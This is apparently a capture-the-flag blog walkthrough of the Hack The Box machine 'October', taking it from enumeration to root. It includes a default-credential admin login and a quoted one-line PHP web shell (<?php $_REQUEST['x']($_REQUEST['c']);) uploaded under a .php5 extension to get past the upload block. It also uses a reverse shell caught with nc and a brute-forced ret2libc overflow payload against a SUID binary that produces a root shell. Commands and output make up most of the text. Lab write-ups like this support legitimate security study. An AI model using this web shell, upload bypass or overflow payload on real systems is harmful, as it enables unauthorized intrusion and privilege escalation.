Posts October
Post
Cancel

October

Enumeration

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -sVC --min-rate 1000 `IP` -oN nmap.out
PORT   STATE SERVICE   VERSION
22/tcp open  ssh       OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  ssl/http?
| http-methods:
|_  Potentially risky methods: PUT PATCH DELETE
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Whatweb or wapplyzer shows October CMS running:

1
2
$ whatweb 10.10.10.16
http://10.10.10.16 [200 OK] Apache[2.4.7], Cookies[october_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], HttpOnly[october_session], IP[10.10.10.16], Meta-Author[October CMS], PHP[5.5.9-1ubuntu4.21], Script, Title[October CMS - Vanilla], X-Powered-By[PHP/5.5.9-1ubuntu4.21]

Directory brute-forcing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ffuf -u http://10.10.10.16/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.16/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

forum                   [Status: 200, Size: 9588, Words: 5018, Lines: 217]
blog                    [Status: 200, Size: 4253, Words: 1470, Lines: 104]
themes                  [Status: 301, Size: 310, Words: 20, Lines: 10]
modules                 [Status: 301, Size: 311, Words: 20, Lines: 10]
account                 [Status: 200, Size: 5090, Words: 1573, Lines: 146]
tests                   [Status: 301, Size: 309, Words: 20, Lines: 10]
storage                 [Status: 301, Size: 311, Words: 20, Lines: 10]
plugins                 [Status: 301, Size: 311, Words: 20, Lines: 10]
backend                 [Status: 302, Size: 400, Words: 60, Lines: 12]
Blog                    [Status: 200, Size: 4253, Words: 1470, Lines: 104]
Forum                   [Status: 200, Size: 9588, Words: 5018, Lines: 217]
error                   [Status: 200, Size: 3343, Words: 1043, Lines: 78]

Accessing /backend gives us /backend/backend/auth/signin which gives us a username and password field for admin. Trying admin:admin works!

Foothold

There’s a media option where we can upload any files. Searching for exploits:

1
2
3
4
5
6
7
8
9
10
11
12
$ searchsploit october cms
-------------------------------------------------------------------------- ----------------------
 Exploit Title                                                            |  Path
-------------------------------------------------------------------------- ----------------------
October CMS - Upload Protection Bypass Code Execution (Metasploit)        | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities                            | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting                              | php/webapps/44144.txt
October CMS Build 465 - Arbitrary File Read Exploit (Authenticated)       | php/webapps/49045.sh
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting           | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting                     | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery               | php/webapps/43106.txt
-------------------------------------------------------------------------- ----------------------

There’s a multiple vulnerabilities .txt file which mentions php upload protection bypass with .php5 extensions as they aren’t blocked.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ searchsploit php/webapps/41936.txt -x
1. PHP upload protection bypass
-------------------------------

Authenticated user with permission to upload and manage media contents can
upload various files on the server. Application prevents the user from
uploading PHP code by checking the file extension. It uses black-list based
approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
Definitions.php:blockedExtensions().

==================== source start ========================
106 <?php
107 protected function blockedExtensions()
108 {
109         return [
110                 // redacted
111                 'php',
112                 'php3',
113                 'php4',
114                 'phtml',
115                 // redacted
116         ];
117 }
====================  source end  ========================

We can easily bypass file upload restriction on those systems by using an
alternative extension, e.g if we upload sh.php5 on the server:

==================== source start ========================
<?php $_REQUEST['x']($_REQUEST['c']);
====================  source end  ========================

Code can be execute by making a following request:
http://victim.site/storage/app/media/sh.php5?x=system&c=pwd

Uploading pentestmonkey php reverse shell, accessing it at /storage/app/media/phprev.php5

1
2
3
4
5
6
7
8
9
10
$ rlwrap nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.16 53438
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
 12:19:49 up  1:58,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1304): Inappropriate ioctl for device
bash: no job control in this shell
www-data@october:/$

Privesc

Checking for SUIDs gives /usr/local/bin/ovrflw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@october:/home/harry$ find / -type f -perm -4000 2>/dev/null
/bin/umount
/bin/ping
/bin/fusermount
/bin/su
/bin/ping6
/bin/mount
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/at
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/local/bin/ovrflw

Protections

ASLR is running on the host:

1
2
www-data@october$ cat /proc/sys/kernel/randomize_va_space
2

You can confirm that by checking the libc address in every run using ldd.

1
2
3
4
5
6
7
8
www-data@october$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7622000)
www-data@october$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7564000)
www-data@october$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ac000)
www-data@october$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75de000) 

Even if the ASLR in on, the libc address is only chaning from 0xb7500000 to 0xb76ff000.

5 -> 6 gives 1 bit and 00->ff gives 8 bits which means only 9 bits are changing everytime.

2^9=512, which means we have 1 in 512 chance of guessing the right address or 1 - (511/512)^1 = 0.2% chance of success.

But if I try for like 1000 times: 1 - (511/512)^1000 = 85.84% chance of success.

This gets to 99.99% if I try for something like 5000 times.

Looking for additional protections:

1
2
3
4
5
6
7
$ checksec ovrflw
[*] '/root/HTB/October/privesc/ovrflw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX means that I can’t run shellcode from the stack, which is where I can write.

Finding offset

Creating a pattern

1
2
$ pattern_create.rb -l 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Finding the RIP address

1
2
3
$ dmesg | tail -n 2
[153611.455267] ovrflw[225760]: segfault at 64413764 ip 0000000064413764 sp 00000000ffc8a040 error 14 in libc-2.31.so[f7d92000+1d000]
[153611.455276] Code: Unable to access opcode bytes at RIP 0x6441373a.

Finding the offset

1
2
3
$ pattern_offset.rb -q 0x6441373a
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 112 (adjusted [ little-endian: -42 | big-endian: 652758 ] ) byte offset 0

OR

Using gdb-peda

Creating a pattern

1
2
3
4
5
$ gdb -q ./ovrflw
Reading symbols from ./ovrflw...
(No debugging symbols found in ./ovrflw)
gdb-peda$ pattern_create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

Finding the RIP address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
Starting program: /root/HTB/October/privesc/ovrflw 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd400 ("QAAmAARAAoAA")
EDX: 0xffffd126 ("QAAmAARAAoAA")
ESI: 0xf7fa1000 --> 0x1e4d6c
EDI: 0xf7fa1000 --> 0x1e4d6c
EBP: 0x6941414d ('MAAi')
ESP: 0xffffd110 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffd110 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0004| 0xffffd114 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0008| 0xffffd118 ("AAOAAkAAPAAlAAQAAmAARAAoAA")
0012| 0xffffd11c ("AkAAPAAlAAQAAmAARAAoAA")
0016| 0xffffd120 ("PAAlAAQAAmAARAAoAA")
0020| 0xffffd124 ("AAQAAmAARAAoAA")
0024| 0xffffd128 ("AmAARAAoAA")
0028| 0xffffd12c ("RAAoAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()

Finding the offset

1
2
3
4
gdb-peda$ pattern_offset AA8A
AA8A found at offset: 112
gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112

Confirming the offset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ run `python3 -c 'print("A"*112 + "BBBB")'`
Starting program: /root/HTB/October/privesc/ovrflw `python3 -c 'print("A"*112 + "BBBB")'`

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd400 ("AAAAAAAABBBB")
EDX: 0xffffd124 ("AAAAAAAABBBB")
ESI: 0xf7fa1000 --> 0x1e4d6c
EDI: 0xf7fa1000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd130 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd130 --> 0x0
0004| 0xffffd134 --> 0xffffd1d4 --> 0xffffd377 ("/root/HTB/October/privesc/ovrflw")
0008| 0xffffd138 --> 0xffffd1e0 --> 0xffffd40d ("SHELL=/bin/bash")
0012| 0xffffd13c --> 0xffffd164 --> 0x0
0016| 0xffffd140 --> 0xffffd174 --> 0x15942f77
0020| 0xffffd144 --> 0xf7ffdb40 --> 0xf7ffdae0 --> 0xf7fca3e0 --> 0xf7ffd980 --> 0x0
0024| 0xffffd148 --> 0xf7fca410 --> 0x804828a ("GLIBC_2.0")
0028| 0xffffd14c --> 0xf7fa1000 --> 0x1e4d6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

Bypass NX-Stack(DEP) with Retn to libc

https://css.csail.mit.edu/6.858/2011/readings/return-to-libc.pdf Returning to libc is a method of exploiting a buffer overflow on a system that has a non-executable stack, it is very similar to a standard buffer overflow, in that the return address is changed to point at a new location that we can control. However since no executable code is allowed on the stack we can’t just tag in shellcode.

This is the reason we use the return into libc trick and utilize a function provided by the library. We still overwrite the return address with one of a function in libc, pass it the correct arguments and have that execute for us. Since these functions do not reside on the stack, we can bypass the stack protection and execute code.

We know the buffer length, need to find the address of a library function that we want to execute.

Finding address of libc with ldd:

“ldd prints the shared objects (shared libraries) required by each program or shared object specified on the command line.”

1
2
www-data@october:$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757e000)

Getting offsets for system, exit and /bin/sh with readelf:

“readelf displays information about one or more ELF format object files.”

1
2
3
www-data@october$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e "system@@" -e "exit@@"
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
1
2
www-data@october$ strings -at x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 162bac /bin/sh

and for this libc base (which is right for 1/512 times)

1
2
3
4
5
6
7
8
9
system  address = libc address + system  offset in libc
				= 0xb757e000 + 0x00040310
				= 0xb75be310
exit    address = libc address + exit    offset in libc
				= 0xb757e000 + 0x00033260
				= 0xb75b1260
/bin/sh address = libc address + /bin/sh offset in libc
				= 0xb757e000 + 0x162bac
				= 0xb76e0bac

Buffer overflow goes: JUNK + SYSTEM (overwrite ret address) + EXIT (add next return address) + “/bin/sh” (arguments).

Exploit

If ASLR weren’t enabled, I could just do this:

1
$ /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\xe3\x5b\xb7" + "\x60\x12\x5b\xb7" + "\xac\x0b\x6e\xb7"');

Because ASLR is enabled, I can simple run an infinite loop, to run this and there’s 99.99% chance of popping a shell in 5000 tries.

1
2
3
4
5
6
7
8
9
$ while true; do /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\xe3\x5b\xb7" + "\x60\x12\x5b\xb7" + "\xac\x0b\x6e\xb7"'); echo -n "Try $i:"; let "i++";done

Try 67:bash: [16130: 1 (255)] tcsetattr: Inappropriate ioctl for device
Try 68:bash: [16130: 1 (255)] tcsetattr: Inappropriate ioctl for device
Try 69:bash: [16130: 1 (255)] tcsetattr: Inappropriate ioctl for device
whoami
root
cat /root/root.txt
6bcb9cff749c9318d2a6e71bbcf30318

Beyond root

Theory

This is what the code looks like from ghidra:

1
2
3
4
5
6
7
8
9
10
11
undefined4 main(int param_1,undefined4 *param_2)
{
  char local_74 [112];
  
  if (param_1 < 2) {
    printf("Syntax: %s <input string>\n",*param_2);
    exit(0);
  }
  strcpy(local_74,(char *)param_2[1]);
  return 0;
}

And this is what it looks in assembly code:

1
2
3
4
080484b5 89 44 24 04     MOV        dword ptr [ESP + local_8c],EAX   //copy the value in EAX to the address esp+local_8c
080484b9 8d 44 24 1c     LEA        EAX=>local_74,[ESP + 0x1c]		 //copy the value at esp+0x1c to EAX
080484bd 89 04 24        MOV        dword ptr [ESP]=>local_90,EAX	 //copy EAX to the value at ESP
080484c0 e8 7b fe ff ff  CALL       strcpy                           //call strcpy

How Stack works?

Stack allows a function to call another function, knowing that function could call any number of functions. Each time a function returns, it is able to put the state back as it is expected by the calling function.

When the call instruction is reached:

  1. Pushes the next instruction to the top of the stack (as the return address)

  2. Jumps execution to the new function. The next function is going to start with some common stuff, known as the prologue.

    1
    2
    3
    
     push   ebp          // push ebp on to the stack
     mov    ebp, esp     // copy esp to ebp
     sub    esp, 0x100   // subtract 0x100 from esp, creating a new frame
    

    Which makes a 0x100 frame between ESP and EBP after the prologue ends.

Lets see that:

  1. call pushes return address:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    
                +-------------+
                |             |
                +-------------+
                |   ret addr  |  <-- ESP
                +-------------+
    0xffffd100  |   copy to   |
                +-------------+
                |  copy from  |
                +-------------+
                |             |
                +-------------+
                      ...
                +-------------+
                |             |
                +-------------+
    0xffffd188  |             |  <-- EBP
                +-------------+
    
  2. Finally after the prologue stack looks like:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    
                +-------------+
    0xffffcef8  |             |  <-- ESP
                +-------------+
                      ...
                +-------------+
                |             |
                +-------------+
                |             |
                +-------------+
    0xffffcff8  |  0xffffd188 |  <-- EBP
                +-------------+
                |   ret addr  |
                +-------------+
    0xffffd100  |   copy to   |
                +-------------+
                |  copy from  |
                +-------------+
                |             |
                +-------------+
                      ...
                +-------------+
                |             |
                +-------------+
    0xffffd188  |             |
                +-------------+
    
  3. When a function is done, it will typically end with:
    1
    2
    
    leave
    ret
    

    leave == mov esp, ebp + pop ebp

Then when the return happens, the instruction pointer is popped, bringing that stack back to where it started (which we saw in step 1):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
               +-------------+
               |  0xffffd188 |
               +-------------+
               |   ret addr  |
               +-------------+   
0xffffd100  |   copy to   |  <-- ESP
               +-------------+
               |  copy from  |
               +-------------+
               |             |
               +-------------+
                     ...
               +-------------+
               |             |
               +-------------+
0xffffd188  |             |  <-- EBP
               +-------------+

Theory for Return to libc

A return to libc attack involves overwriting the return address in such a way that the computer jumps to the function I want.

  • If I’ve to call system(“/bin/sh”) , I would enter the function after the call but before the prologue. Stack looks something like this:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
              +-------------+
              |   ret addr  |  <-- ESP
              +-------------+
              |  "/bin/sh"  |
              +-------------+
              |             |
              +-------------+
                    ...
                               <-- EBP
    
  • Also the system is not reached via a call but a ret. Which means instead of EBP address before return address, if I put system address, ret will pop the system address into the instruction pointer (Step 3) and the stack will look right. Since I don’t know the right return address, I’ll just use the function exit. So we overwrite the return address with a system address, add another ret address and add arguments after that.

Now the stack looks like this when we reach return:

1
2
3
4
5
6
7
8
9
10
11
            +-------------+
            | system addr |  <-- ESP
            +-------------+
            |   ret addr  |
            +-------------+
            |  "/bin/sh"  |
            +-------------+
            |             |
            +-------------+
                  ...
                             <-- EBP

Huge thanks to 0xdf for such a detailed writeup. If you still don’t understand the Theory, give October by 0xdf a read.

This post is licensed under CC BY 4.0 by the author.